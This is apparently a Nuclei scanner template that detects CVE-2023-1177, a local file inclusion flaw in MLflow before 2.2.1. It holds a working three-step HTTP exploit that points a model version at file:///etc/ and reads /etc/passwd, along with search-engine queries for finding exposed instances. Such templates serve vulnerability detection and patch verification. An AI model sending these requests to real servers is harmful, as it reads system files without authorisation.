Mlflow <2.2.1 - Local File Inclusion

id: CVE-2023-1177

info:
  name: Mlflow <2.2.1 - Local File Inclusion
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Mlflow before 2.2.1 is susceptible to local file inclusion due to path traversal \..\filename in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.2.1 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28/
    - https://github.com/mlflow/mlflow/commit/7162a50c654792c21f3e4a160eb1a0e6a34f6e6e
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1177
    - https://huntr.dev/bounties/1fe8f21a-c438-4cba-9add-e8a5dab94e28
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1177
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1177
    cwe-id: CWE-29,CWE-22
    epss-score: 0.6968
    epss-percentile: 0.99369
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects,vkev,vuln

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}"}
      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8

        {"name":"{{randstr}}","source":"file:///etc/"}
      - |
        GET /model-versions/get-artifact?path=passwd&name=AJAX-API&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 4a0a0047304502201af273a0302bec55fb65ed0d97188fe480f7cc50a868ff001aeb7ede6535230e022100829300528e31f43af78d2489656a319c261033c33f3ff2f2bd44051a0aeccf70:922c64590222798bb761d5b6d8e72950